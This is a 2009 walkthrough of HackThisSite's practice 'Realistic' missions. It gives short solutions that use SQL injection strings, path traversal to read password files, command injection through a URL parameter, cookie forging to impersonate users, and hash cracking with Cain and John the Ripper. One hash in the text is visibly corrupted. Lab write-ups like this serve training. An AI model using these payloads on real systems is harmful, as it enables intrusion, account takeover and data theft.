HackThisSite Realistic

HackThisSite Realistic
May 18 2009
Copyright (c) Kevin Midnight

HackThisSite Realistic Missions
http://www.hackthissite.org/


Uncle Arnold's Local Band Review

vote.php?id=0&vote=1234&PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f


Chicago American Nazi Party

' OR 'a'='a


Peace Poetry: HACKED

Input into submit poem form this:

../index.html

--> Source code of real website <-- Fischer's Animal Products! SaveTheWhales http://www.hackthissite.org/missions/realistic/4/products.php?category=3%20UNION%20ALL%20SELECT%20null,null,email,*%20FROM%20email;%20order%20by%204 Damn Telemarketers! Goto the database page look at the source find the secret folder browse to it open: secret/admin.bak.php crack this hash guess the lib folder goto: lib/hash open with text editor find out the hash is an md4 hash crack hash with Cain and Able ToxiCo Industrial Chemicals http://www.tsosmud.org/XECrypt.php What's Right For America browse to images/ see admin/ goto -> need password
use showimages.php?file=patriot.txt
to show
images/admin/.htpasswd
showimages.php?file=images/admin/.htpasswd
put administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0
into hash.txt in same dir as John the ripper
use john the ripper
john-mmx.com hash.txt
to find password of company


United Banks Of America

Goto the user info page

use the input
' or '1=1'
to dump all of the users

find the account GaryWilliamHunter in the list

make an account

login

change the cookie so the user is GaryWilliamHunter

trasfer 10000000 to the user dropCash

change the form so it will clear the folder logFiles


CrappySoft

Send PM to m-crapy with subject:



You will get a msg with:
strUsername=m-crap%40crappysoft.com;
strPassword=94a35a3b7befff5eb2a8415af04aa16c;
intID=1

change your cookies to match this

pay the user

goto the mailing list

change the form address to:

./files/logs/logs.txt

ref:
http://www.hackthissite.org/articles/read/175


Holy Word High School

find in source code staff.php page

install: http://chrispederick.com/work/useragentswitcher/

change user agent to: holy_father

goto: staff.php

u: smiller
p: smiller

just have to guess it

change admin cookie from 0 to 1

Now input:
http://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=0&studentid=1&grade=5
http://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=1&studentid=1&grade=5
http://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=2&studentid=1&grade=5
http://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=3&studentid=1&grade=5
http://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=4&studentid=1&grade=5


BudgetServ Web Hosting

http://www.hackthissite.org/missions/realistic/11/page.pl?page=|ls|

http://www.hackthissite.org/missions/realistic/11/client_http_docs/

http://www.hackthissite.org/missions/realistic/11/client_http_docs/space46/

but account has been suspended

http://www.hackthissite.org/missions/realistic/11/client_http_docs/therightwayradio/

Web Host:
cookielog.txt - 666
stealer.php - 755

### stealer.php

// line 5

###


User Agent:


cookielog.txt:
rw_session=9bddeff0a64daab17a51d70547687627002dc5a0;

Create cookie with the info

http://www.hackthissite.org/missions/realistic/11/client_http_docs/therightwayradio/


Change password for:
communist liar

to:
123456789

ID: 1863

Image: ?page=admin&add_mod=1863

Mod:

sql_db = ../../../bs.dbase

SELECT name FROM sqlite_master WHERE type='table' ORDER BY name;

SELECT * FROM web_hosting

http://www.hackthissite.org/missions/realistic/11/admin/

U: wonderdiet
P: suckereveryminute

http://www.hackthissite.org/missions/realistic/11/client_http_docs/wonderdiet/top_secret_real_11_source.tar.gz

http://www.hackthissite.org/missions/realistic/11/admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space64/src.tar.gz


What we looking for & using:
http://www.hackthissite.org/missions/realistic/11/bs.dbase
http://www.hackthissite.org/missions/realistic/11/client_http_docs/space46/src.tar.gz


Ref:
http://www.criticalsecurity.net/index.php?showtopic=7137
http://www.criticalsecurity.net/index.php?s=2a673f9ba6564a8f571232eb18772ecc&showtopic=21780
http://www.hackthissite.org/articles/read/430



Heartland School District

Jason Bardus

Windows 95

Sarah Mathis
http://hackthissite.org/missions/realistic/12/smathis/

http://hackthissite.org/missions/realistic/12/jbardus

perl web proxy

bardus@doesnt.exist.edu

Quality-WWW/4.3.3 (Windows 95) Port 80

file:///C:/

file:///C:/WEB

file:///C:/WEB/HTML

File: heartlandadminpanel.html

http://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html

http://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=&password=

http://www.hackthissite.org/missions/realistic/12/jsimons/guest.html

http://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=guestbook.txt

http://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl

u: jbardus
p: heartlandnetworkadministrator

http://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html

Clear All


Elbonian Republican Party

Error on page Press Releases by:

http://www.hackthissite.org/missions/realistic/13/readpress.php?

tells use they are using MD5
tells us about the dir: /speeches/passwords/

http://www.hackthissite.org/missions/realistic/13/speeches/

says: Subdir
then:

http://www.hackthissite.org/missions/realistic/13/speeches/passwords/

says: Subdir
so: their should be another dir after this one

looking at the press release error, it looks like they are MD5-ing the word Speeches

using: HashCalc
Speeches == 7e40c181f9221f9c613adf8bb8136ea8

so lets add this last dir

http://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40thc181f9221f9c613adf8bb8136ea8

then: look at the passwords.fip file

its format is: username_hash:password_hash

7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3

using cain and able to crack the hashes we get

moni1:admin

Error on speeches page by chaning the number

http://www.hackthissite.org/missions/realistic/13/speeches2.php

you see the hash: 21232f297a57a5a743894a0e4a801fc3

we know this is admin from before

so we try

http://www.hackthissite.org/missions/realistic/13/admin/

looks good so we try your username & password

no good

what could be do?

lets try the hash of admin in the url

http://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/

looks good, try the u/p and it works now aswome! :)


Yuppers Internet Solutions

?


Seculas Ltd.

?


Hack This Site

Good Luck, I'm not helping you with this one.